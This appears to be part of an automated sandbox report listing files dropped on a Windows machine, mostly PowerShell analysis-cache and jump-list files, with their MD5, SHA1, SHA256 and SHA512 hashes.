C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ac571b99-1155-4f85-8e19-cc20530bdb32
MD52d5cd190b5db0620cd62e3cd6ba1dcd3
SHA1ff4f229f4fbacccdf11d98c04ba756bda80aac7a
SHA256ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d
SHA512edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD50dba928533d1b64c36dd9e4ae6d01715
SHA179c4f0575fe4250ecdf7736d536e9d21e398a4b7
SHA256a93e36468c677c3f0343dc9ab34c76d9ab2cc637e4e98afd8fe3c0419c1b8875
SHA51246d456bbaa4599a355ddc8727d4a4909d431c46ce1a0687f0e8baf49b531bf780f5d855541a57a4171519777b5462997ba8344389d7ae2fcdc49cdad0398a5b4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD57a6a3ee843ff4a40f795ca82cb333d84
SHA16d75a79fa1a912d54be47d5aaba9584e73671941
SHA256e8c099e55fcdf2b62c7f7268cf6407393dc28f549dddc068b3db5f7bb07b4ac1
SHA51250dbc940d1ca3ae0a62997aabfb588c0659d6a33ef2b00e75ecc540ee3931b7286c886f8f724e4ec9a7a40b1c83aaf9b5d933d93531c26c537375e56d4d93776
-
MD5
a52c25a3f4df2c113506cdd60cbe4a12
SHA17f559da84d8f8227058fdbcf1aaaa3daae34083c
SHA256ad21970732cbc49d9e07ed84583de7195f27e8e3ffd2ce942a1340981c7dc9e9
SHA512a7ca9b504dd519205f0ecec111ab24ae27be89906a3915ae5f247d6d6235d16c0a235714bae652298be63ed6e7d54011229344203c15f2b56894f06005533215
-
MD5
a5461bff6a5c20372c669dd32dbdf4bb
SHA1d74e2f0aca836cc5d46c5efa90eeaafb324c93e8
SHA256e763ac790daa2cd1cb43cc6cefc3ca9ea55e04e2c479adf092293b2bc1cc79b2
SHA5121d203eb7da3bb6959a7a47dfb03f3a0d37f019451718775d10015eb09377a51b5bb5e73d00a0df52936236b184c4285572d684499e00fcc97e9d363e45a56e39
-
MD5
3447df88de7128bdc34942334b2fab98
SHA1519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb
SHA2569520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9
SHA5122ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f
-
MD5
00fb904b2dd958760943b89400e9b7f9
SHA18c825862b6f70cbaef991525f31100f713e61e7d
SHA256392e751cec2e13cbbea5161ae4044532961f8e9013cebaa120ac7553388c919a
SHA512ee4c598b268768f2a2063064ff2a771042bfa5b41e4c5029cb297a17c265a93ab749a3ffecfe28d9e5084068d77e487d14291e780a3d6da1e0fcfbc26b6bc28a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD51542d48b292e99aac46613862b3302cc
SHA1fbaed2ec67b749de7ad733f27a9e5f1ffa637955
SHA2566c058a55debd84bba701c83007b4357499e6c69b1a757da802d1db124b23eb21
SHA512e2af9778092f731aaf46b546c47cd42229ba6b7167f11f7ce7b5af12dbea5a59a90fa12a2f54072eb1627a39c01cbc2334c605be3204192a321be5c0c40d39dc
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD51542d48b292e99aac46613862b3302cc
SHA1fbaed2ec67b749de7ad733f27a9e5f1ffa637955
SHA2566c058a55debd84bba701c83007b4357499e6c69b1a757da802d1db124b23eb21
SHA512e2af9778092f731aaf46b546c47cd42229ba6b7167f11f7ce7b5af12dbea5a59a90fa12a2f54072eb1627a39c01cbc2334c605be3204192a321be5c0c40d39dc
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD51542d48b292e99aac46613862b3302cc
SHA1fbaed2ec67b749de7ad733f27a9e5f1ffa637955
SHA2566c058a55debd84bba701c83007b4357499e6c69b1a757da802d1db124b23eb21
SHA512e2af9778092f731aaf46b546c47cd42229ba6b7167f11f7ce7b5af12dbea5a59a90fa12a2f54072eb1627a39c01cbc2334c605be3204192a321be5c0c40d39dc
-
MD5
dc39d23e4c0e681fad7a3e1342a2843c
SHA158fd7d50c2dca464a128f5e0435d6f0515e62073
SHA2566d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA5125cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
MD5
2f4f3092eaf27a0587d7d152c795b2a6
SHA10bc6bee714918c249a70c93917e690d51bf67b70
SHA256134a36f95500c5439f1917027cae4134549f338e10f4c415e445145337a2147b
SHA512e46d447b324d863a1fcfa423ad6d2fd78eea44ae345b1199305810a441551b103724f88f5cb937784b795d851c3e13056b98a933732251a05a3e7d8e103840e7
-
MD5
4864fc038c0b4d61f508d402317c6e9a
SHA172171db3eea76ecff3f7f173b0de0d277b0fede7
SHA2560f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84
SHA5129e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31
-
MD5
e8ab07b09970395745911421e2f3b225
SHA12c5c6534dfdf94a78e9c590ebff65bce9aaa60ef
SHA25652c2db236eedf5fc460d1d725e41adf76814f3339c21f260a97372a0f11bf2a4
SHA51287f98f8e4213ddc6323dfe7f1279ba7fe3b1b4f1d6ac2c0389f088c098ddc3528d21570182988683c90276f9ceae551da07db0ce7336896db081f942366a49c8
-
MD5
b110f38845e18a04ab59a7d8a134ef40
SHA18119030034e6fbe62d875e824b5233c1f29d61a0
SHA2561cbd533a8cf6875e9b9bc60b11711b591bd30aac6377a11ee90c2735182414ea
SHA51280eb80651141c2e00165f089700cc15eb3c5e5eee4ce4e91759e63f5230db8445bc3793c0f5fd259f98ce2939f19633fe7225db990e6574fd739f1d29cf7f223
-
MD5
5768a809b9fcbff117dffa8cbf2e8852
SHA1a056e76d15bc7509d0361175b2ae4ba348460cd6
SHA2568ab19cdbe2b963c8bcf8cac6a11e003423ec91ffad88d885d550beb835e46094
SHA51299d14d6b3c6cf2e872def0b5dd76ffd81d4c71b577bf5fa4700dbb524d5d26bf09d4ffab2dfc6d493303711b635669f35e7cfc90578e6cc2e2f251f422818b8b